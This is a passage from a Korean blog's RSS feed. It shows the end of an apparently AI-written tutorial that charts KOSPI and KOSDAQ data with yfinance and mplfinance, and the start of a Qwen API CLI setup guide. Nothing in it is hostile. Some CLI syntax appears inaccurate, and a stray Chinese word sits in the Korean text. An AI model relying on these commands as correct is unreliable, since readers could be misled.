        # up='red': 종가가 시가보다 높으면 빨간색 (양봉)
        # down='blue': 종가가 시가보다 낮으면 파란색 (음봉)
        mc = mpf.make_marketcolors(up='red', down='blue', inherit=True)

        # 2. 스타일 적용 (bmh 스타일 기반)
        s = mpf.make_mpf_style(marketcolors=mc, base_mpl_style='bmh')

        # 3. 차트 그리기 및 저장
        # savefig 파라미터를 사용하면 화면 출력 없이 파일로 바로 저장 가능
        mpf.plot(df, 
                 type='candle',          # 캔들스틱 차트 유형
                 style=s,                # 적용할 스타일
                 title=title,            # 차트 제목
                 ylabel='Price (KRW)',   # Y축 라벨
                 volume=True,            # 거래량 표시 여부
                 figsize=(14, 7),        # 이미지 크기 (가로, 세로)
                 savefig=filename_png)   # 저장할 파일명

        print(f&quot; ️ 차트 이미지 저장 완료: {filename_png}&quot;)

    except Exception as e:
        print(f&quot;❌ 차트 생성 중 오류 발생: {e}&quot;)
        import traceback
        traceback.print_exc()

def main():
    &quot;&quot;&quot;
    메인 실행 함수
    &quot;&quot;&quot;
    print(&quot;=&quot; * 50)
    print(&quot;   코스피/코스닥 자동 차트 생성기 시작&quot;)
    print(&quot;=&quot; * 50)

    # 1. 설정값 정의
    START_DATE = '2020-01-01'  # 데이터 시작일
    END_DATE = '2026-04-11'    # 데이터 종료일 (현재 날짜)

    # 처리할 종목 리스트
    # 형식: (티커, CSV파일명, PNG파일명, 차트제목)
    targets = [
        ('^KS11', 'kospi_data.csv', 'kospi_chart.png', 'KOSPI Index Candle Chart (2020-2026)'),
        ('^KQ11', 'kosdaq_data.csv', 'kosdaq_chart.png', 'KOSDAQ Index Candle Chart (2020-2026)')
    ]

    # 2. 각 종목별 데이터 처리
    for ticker, csv_name, png_name, title in targets:
        print(&quot;-&quot; * 30)

        # Step 1: 데이터 가져오기 및 CSV 저장
        df = fetch_and_save_data(ticker, csv_name, START_DATE, END_DATE)

        # Step 2: 차트 그리기 및 이미지 저장
        if df is not None:
            plot_and_save_chart(df, title, png_name)

    print(&quot;-&quot; * 30)
    print(&quot;  모든 작업이 성공적으로 완료되었습니다!&quot;)
    print(f&quot;  현재 폴더에 CSV와 PNG 파일이 생성되었는지 확인하세요.&quot;)

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 코드 핵심 포인트 해설&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1. &lt;code&gt;yfinance&lt;/code&gt;의 강력한 데이터 수집&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;yf.download('^KS11', ...)&lt;/code&gt; 한 줄만으로 야후 파이낸스의 방대한 데이터베이스에 접근합니다. &lt;code&gt;^KS11&lt;/code&gt;은 코스피 지수, &lt;code&gt;^KQ11&lt;/code&gt;은 코스닥 지수를 의미하는 야후 파이낸스의 고유 티커입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2. 컬럼명 처리의 중요성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 &lt;code&gt;yfinance&lt;/code&gt; 업데이트로 인해 데이터프레임의 컬럼명이 문자열이 아닌 튜플 형태 &lt;code&gt;(Ticker, Price)&lt;/code&gt;로 반환되는 경우가 있습니다. 이로 인해 &lt;code&gt;.lower()&lt;/code&gt; 메서드 호출 시 오류가 발생할 수 있으므로, 코드 내 &lt;code&gt;isinstance(col, str)&lt;/code&gt; 체크 로직을 넣어 안정성을 높였습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-3. 한국식 캔들 색상 적용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미국 시장은 상승이 초록(Green), 하락이 빨강(Red)이지만, 한국 시장은 &lt;b&gt;상승이 빨강(Red), 하락이 파랑(Blue)&lt;/b&gt;입니다. &lt;code&gt;mpf.make_marketcolors(up='red', down='blue')&lt;/code&gt; 설정을 통해 한국 투자자에게 친숙한 차트로 커스터마이징했습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-4. 한글 폰트 깨짐 방지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;import koreanize_matplotlib&lt;/code&gt; 한 줄만 추가하면, matplotlib가 시스템에 설치된 한글 폰트(예: AppleGothic, NanumGothic 등)를 자동으로 찾아 적용해 줍니다. 별도의 폰트 경로 설정 없이도 한글 제목이 깨지지 않습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 실행 및 결과 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널에서 아래 명령어로 스크립트를 실행합니다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;python stock_chart_maker.py&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행이 완료되면 다음과 같은 메시지가 출력되며, 스크립트가 위치한 폴더에 4개의 파일이 생성됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;kospi_data.csv&lt;/code&gt;: 코스피 일봉 데이터 (날짜, 시가, 고가, 저가, 종가, 거래량 등)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kospi_chart.png&lt;/code&gt;: 코스피 캔들 차트 이미지&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kosdaq_data.csv&lt;/code&gt;: 코스닥 일봉 데이터&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kosdaq_chart.png&lt;/code&gt;: 코스닥 캔들 차트 이미지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 &lt;code&gt;png&lt;/code&gt; 파일을 열어보면, 배경이 깔끔하고 거래량(Volume)이 하단에 함께 표시된 전문적인 형태의 차트를 확인할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 마무리하며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 파이썬을 이용해 금융 데이터를 수집하고 시각화하는 자동화 워크플로우를 만들어 보았습니다. 이 코드를 베이스로 삼아 다음과 같이 확장해 볼 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;개별 종목 분석&lt;/b&gt;: 티커를 &lt;code&gt;^KS11&lt;/code&gt;에서 &lt;code&gt;005930.KS&lt;/code&gt;(삼성전자) 등으로 변경하여 개별 주식 차트를 만들어 보세요.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기술적 지표 추가&lt;/b&gt;: &lt;code&gt;mplfinance&lt;/code&gt;의 &lt;code&gt;addplot&lt;/code&gt; 기능을 활용해 이동평균선(MA)이나 볼린저 밴드를 차트에叠加해 보세요.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정기 실행&lt;/b&gt;: 윈도우 작업 스케줄러나 맥의 launchd를 이용해 매일 아침 장 시작 전에 자동으로 최신 차트를 생성하도록 설정할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 분석은 복잡한 이론보다 &lt;b&gt;직접 손으로 움직여 보는 경험&lt;/b&gt;에서 시작됩니다. 오늘 소개해 드린 코드가 여러분의 투자 분석과 파이썬 학습에 작은 도움이 되길 바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#파이썬 #데이터분석 #주식차트 #코스피 #코스닥 #yfinance #mplfinance #자동화 #프로그래밍 #코딩초보 #금융데이터 #캔들차트 #주가분석 #파이썬공부 #데이터시각화 #퀀트투자 #주식투자 #개발자 #블로그코딩 #테크니컬분석&lt;/p&gt;
&lt;figure data-ke-type=&quot;image&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; data-ke-style=&quot;alignCenter&quot;&gt;&lt;span class=&quot;bar_progress&quot;&gt;&lt;/span&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;kospi_chart.png&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eOL0ez/dJMcahjLeGl/nwbh3LGC7OslZ9qZHUnCR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eOL0ez/dJMcahjLeGl/nwbh3LGC7OslZ9qZHUnCR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eOL0ez/dJMcahjLeGl/nwbh3LGC7OslZ9qZHUnCR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeOL0ez%2FdJMcahjLeGl%2Fnwbh3LGC7OslZ9qZHUnCR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1400&quot; height=&quot;700&quot; data-filename=&quot;kospi_chart.png&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;kosdaq_chart.png&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6rA9r/dJMcaax9qzL/5qKJK83RiTWSwpUj9TpHTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6rA9r/dJMcaax9qzL/5qKJK83RiTWSwpUj9TpHTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6rA9r/dJMcaax9qzL/5qKJK83RiTWSwpUj9TpHTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6rA9r%2FdJMcaax9qzL%2F5qKJK83RiTWSwpUj9TpHTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1400&quot; height=&quot;700&quot; data-filename=&quot;kosdaq_chart.png&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/1a8Wm/dJMcagkNNy0/qAwJ9zqj6VC2998EuNAjxK/kosdaq_data.csv?attach=1&amp;amp;knm=tfile.csv&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;kosdaq_data.csv&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.12MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bK2GbC/dJMcafTKX8G/rCySa4JiOzdG2ohceWkcD1/kospi_data.csv?attach=1&amp;amp;knm=tfile.csv&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;kospi_data.csv&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.12MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/OArV0/dJMcaduNn0Q/Uk98BiDIPv1pysijz5pPr1/243.py?attach=1&amp;amp;knm=tfile.py&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;243.py&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.00MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본글은 qwen에서 작성한 글입니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNOBmZ/dJMcadn3Oz9/V2NSoFnUJY9g8wKJshHKY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNOBmZ/dJMcadn3Oz9/V2NSoFnUJY9g8wKJshHKY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNOBmZ/dJMcadn3Oz9/V2NSoFnUJY9g8wKJshHKY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNOBmZ%2FdJMcadn3Oz9%2FV2NSoFnUJY9g8wKJshHKY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;778&quot; height=&quot;123&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>mplfinance</category>
      <category>yfinance</category>
      <category>금융데이터</category>
      <category>데이터분석</category>
      <category>자동화</category>
      <category>주식차트</category>
      <category>코딩초보</category>
      <category>코스닥</category>
      <category>코스피</category>
      <category>파이썬</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/226</guid>
      <comments>https://thepin.tistory.com/226#entry226comment</comments>
      <pubDate>Sat, 11 Apr 2026 15:20:35 +0900</pubDate>
    </item>
    <item>
      <title>Qwen API CLI 완벽 가이드: 가상환경 설정부터 실전 활용까지</title>
      <link>https://thepin.tistory.com/225</link>
      <description>&lt;h1&gt;Qwen API CLI 완벽 가이드: 가상환경 설정부터 실전 활용까지&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대형 언어 모델(LLM) 생태계가 빠르게 성장하면서, 개발자들은 다양한 AI API를 터미널에서 직접 호출하거나 Python 스크립트에 통합하는 방식으로 워크플로우를 고도화하고 있습니다. 그중에서도 알리바바의 &lt;b&gt;Qwen(통이치엔원)&lt;/b&gt; 시리즈는 뛰어난 추론 능력, 긴 컨텍스트 윈도우, 그리고 OpenAI 호환 엔드포인트 지원으로 많은 개발자의 주목을 받고 있습니다. 특히 공식 DashScope API를 제공하므로, 별도의 복잡한 인증 절차를 거치지 않고도 CLI 환경에서 즉시 활용이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 가이드는 Qwen API 키를 발급받은 개발자를 대상으로, &lt;b&gt;가상환경 기반의 안전한 CLI 설정 방법&lt;/b&gt;부터 &lt;b&gt;실전 명령어 활용&lt;/b&gt;, &lt;b&gt;Python SDK 연동&lt;/b&gt;, &lt;b&gt;오류 해결 및 보안 관리&lt;/b&gt;까지 단계별로 상세히 정리합니다. 초보자도 따라 할 수 있도록 명령어 하나하나의 의미와 배경 원리를 함께 설명하며, 프로덕션 환경에서도 바로 적용할 수 있는 모범 사례를 포함했습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  1. 개발 환경 점검: Python 설치 및 버전 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Qwen CLI는 공식적으로 Python 기반 패키지로 배포됩니다. 따라서 시스템에 Python이 정상적으로 설치되어 있고, 터미널에서 인식되는 상태여야 합니다. macOS나 최신 Linux 배포판의 경우, 기본 셸이 &lt;code&gt;zsh&lt;/code&gt; 또는 &lt;code&gt;bash&lt;/code&gt;로 구성되어 있으며, &lt;code&gt;python&lt;/code&gt; 명령어보다 &lt;code&gt;python3&lt;/code&gt;이 표준으로 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널을 열고 다음 명령어를 실행해 현재 상태를 확인합니다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;python --version
python3 --version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;command not found: python&lt;/code&gt;이 출력되고 &lt;code&gt;Python 3.11.9&lt;/code&gt;(또는 3.8 이상)가 출력된다면, 환경은 정상입니다. macOS 및 Ubuntu 기반 리눅스에서는 시스템 파이썬을 보호하기 위해 &lt;code&gt;python3&lt;/code&gt; 별칭을 기본으로 제공하며, 가상환경 내부에서는 &lt;code&gt;python&lt;/code&gt;이 자동으로 해당 버전에 매핑되므로 추가 설정이 필요 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 둘 다 인식되지 않는다면 공식 Python 웹사이트에서 최신 안정판을 다운로드하거나, 패키지 관리자를 통해 설치해야 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;macOS (Homebrew): &lt;code&gt;brew install python&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ubuntu/Debian: &lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install python3 python3-venv python3-pip&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Windows: 공식 인스톨러 실행 시 &lt;b&gt;&lt;code&gt;Add python.exe to PATH&lt;/code&gt;&lt;/b&gt; 반드시 체크&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  2. 가상환경(Virtual Environment)의 필수성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발 초기에는 전역 환경에 패키지를 설치해도 문제없어 보일 수 있지만, 프로젝트가 늘어나거나 의존성 버전이 갈리면 충돌이 빈번하게 발생합니다. 가상환경은 프로젝트별로 독립된 Python 인터프리터와 패키지 저장소를 격리하는 공식 권장 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상환경을 사용하는 주요 이점은 다음과 같습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;의존성 충돌 방지&lt;/b&gt;: 프로젝트 A는 &lt;code&gt;openai==1.30.0&lt;/code&gt;, 프로젝트 B는 &lt;code&gt;openai==1.50.0&lt;/code&gt;을 필요로 할 때 서로 간섭하지 않음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안성 강화&lt;/b&gt;: API 키나 민감한 설정을 프로젝트 로컬에 격리하여 전역 환경 오염 방지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;재현성 보장&lt;/b&gt;: &lt;code&gt;requirements.txt&lt;/code&gt; 또는 &lt;code&gt;pyproject.toml&lt;/code&gt;로 의존성을 기록하면 동료 개발자나 CI/CD 파이프라인에서 동일 환경 구축 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;깨끗한 제거&lt;/b&gt;: 프로젝트 종료 시 &lt;code&gt;.venv&lt;/code&gt; 폴더만 삭제하면 시스템에 흔적이 남지 않음&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 Qwen CLI 설정은 반드시 가상환경 내에서 진행하는 것을 강력히 권장합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  3. 가상환경 생성 및 활성화&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 폴더를 생성한 후 가상환경을 초기화합니다. macOS/Linux 기준 명령어는 다음과 같습니다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# 프로젝트 디렉토리 생성 및 이동
mkdir qwen-cli-lab &amp;amp;&amp;amp; cd qwen-cli-lab

# 가상환경 생성 (.venv 폴더 생성)
python3 -m venv .venv

# 가상환경 활성화
source .venv/bin/activate&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;활성화 성공 시 터미널 프롬프트 앞에 &lt;code&gt;(.venv)&lt;/code&gt; 가 표시됩니다. 이제부터 실행하는 &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;pip&lt;/code&gt; 명령어는 전역이 아닌 &lt;code&gt;.venv&lt;/code&gt; 내부의 독립된 환경을 참조합니다. 비활성화가 필요할 때는 &lt;code&gt;deactivate&lt;/code&gt; 명령어를 사용합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 환경에서는 활성화 명령어가 &lt;code&gt;.venv\Scripts\activate&lt;/code&gt; (CMD) 또는 &lt;code&gt;.venv\Scripts\Activate.ps1&lt;/code&gt; (PowerShell)로 다르며, PowerShell에서 실행 정책 차단이 발생할 경우 &lt;code&gt;Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser&lt;/code&gt;를 먼저 실행해야 합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  4. 핵심 패키지 설치 전략&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상환경이 활성화된 상태에서 필수 패키지를 한 번에 설치합니다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;pip install --upgrade pip
pip install openai python-dotenv dashscope&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;패키지별 역할과 선택 기준&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;패키지&lt;/th&gt;
&lt;th&gt;주요 용도&lt;/th&gt;
&lt;th&gt;필수 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;openai&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;공식 CLI 도구(&lt;code&gt;openai&lt;/code&gt; 명령어) 제공 + OpenAI 호환 SDK 포함&lt;/td&gt;
&lt;td&gt;✅ 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python-dotenv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt; 파일의 키-값 쌍을 환경변수로 자동 매핑&lt;/td&gt;
&lt;td&gt;✅ 강력 권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dashscope&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;알리바바 공식 Python SDK (Embedding, Speech, Vision 등 고급 기능)&lt;/td&gt;
&lt;td&gt;  선택&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 패키지는 서로 다른 레이어에서 동작하므로 의존성 충돌이 발생하지 않습니다. &lt;code&gt;pip&lt;/code&gt;가 내부적으로 버전 호환성을 자동으로 해결하므로, 한 줄에 나열해 설치하는 것이 표준 관행입니다. 설치가 완료되면 &lt;code&gt;pip list | grep -E &quot;openai|python-dotenv|dashscope&quot;&lt;/code&gt;로 정상 등록 여부를 확인할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  5. API 키 보안 설정: .env 파일의 올바른 활용법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API 키를 터미널 명령어나 코드에 하드코딩하는 것은 보안 사고의 주요 원인입니다. 대신 &lt;code&gt;.env&lt;/code&gt; 파일을 생성하고, &lt;code&gt;python-dotenv&lt;/code&gt;로 안전하게 로드하는 방식을 채택해야 합니다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# 프로젝트 루트에 .env 파일 생성
echo 'OPENAI_API_KEY=&quot;sk-xxxx-your-dashscope-api-key-here&quot;' &amp;gt; .env

# Git 추적에서 제외 (매우 중요)
echo '.env' &amp;gt;&amp;gt; .gitignore&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DashScope API 키는 OpenAI 호환 모드에서 &lt;code&gt;OPENAI_API_KEY&lt;/code&gt; 환경변수로 자동 인식됩니다. &lt;code&gt;python-dotenv&lt;/code&gt;는 해당 파일을 파싱해 런타임 환경에 주입하므로, 코드나 CLI에서 별도의 키 전달 인자가 필요 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;.env&lt;/code&gt; 파일 서식 예시:&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# Qwen(DashScope) API Key
OPENAI_API_KEY=&quot;sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&quot;

# 선택: 기본 모델 또는 엔드포인트 커스터마이징
DEFAULT_QWEN_MODEL=&quot;qwen-plus&quot;
QWEN_BASE_URL=&quot;https://dashscope.aliyuncs.com/compatible-mode/v1&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  6. CLI 실전 명령어 마스터&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지 설치와 키 설정이 완료되면 &lt;code&gt;openai&lt;/code&gt; CLI를 바로 사용할 수 있습니다. Qwen은 OpenAI 호환 엔드포인트를 제공하므로, &lt;code&gt;--base-url&lt;/code&gt; 플래그만 지정하면 동일 문법으로 호출 가능합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기본 질의 테스트&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;openai chat.completions.create \
  --model qwen-plus \
  --messages '[{&quot;role&quot;:&quot;user&quot;,&quot;content&quot;:&quot;가상환경에서 Qwen CLI 연동 성공 테스트 중이야. 3줄로 요약해줘.&quot;}]' \
  --base-url https://dashscope.aliyuncs.com/compatible-mode/v1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답이 JSON 형식으로 터미널에 출력되면 연동 완료입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;스트리밍 응답 (실시간 출력)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;긴 응답을 대기하지 않고 토큰이 생성되는 대로 화면에 표시하려면 &lt;code&gt;--stream&lt;/code&gt; 플래그를 추가합니다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;openai chat.completions.create \
  --model qwen-max \
  --messages '[{&quot;role&quot;:&quot;user&quot;,&quot;content&quot;:&quot;파이썬 가상환경의 작동 원리를 초보자도 이해하기 쉽게 설명해줘.&quot;}]' \
  --base-url https://dashscope.aliyuncs.com/compatible-mode/v1 \
  --stream&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;다중 메시지/시스템 프롬프트 활용&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;openai chat.completions.create \
  --model qwen-turbo \
  --messages '[
    {&quot;role&quot;:&quot;system&quot;,&quot;content&quot;:&quot;너는 숙련된 DevOps 엔지니어야. 간결하고 실행 가능한 명령어만 제공해.&quot;},
    {&quot;role&quot;:&quot;user&quot;,&quot;content&quot;:&quot;Docker 컨테이너 내부에서 가상환경을 생성할 때 주의할 점은?&quot;}
  ]' \
  --base-url https://dashscope.aliyuncs.com/compatible-mode/v1&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;지원 모델 및 주요 옵션&lt;/h3&gt;
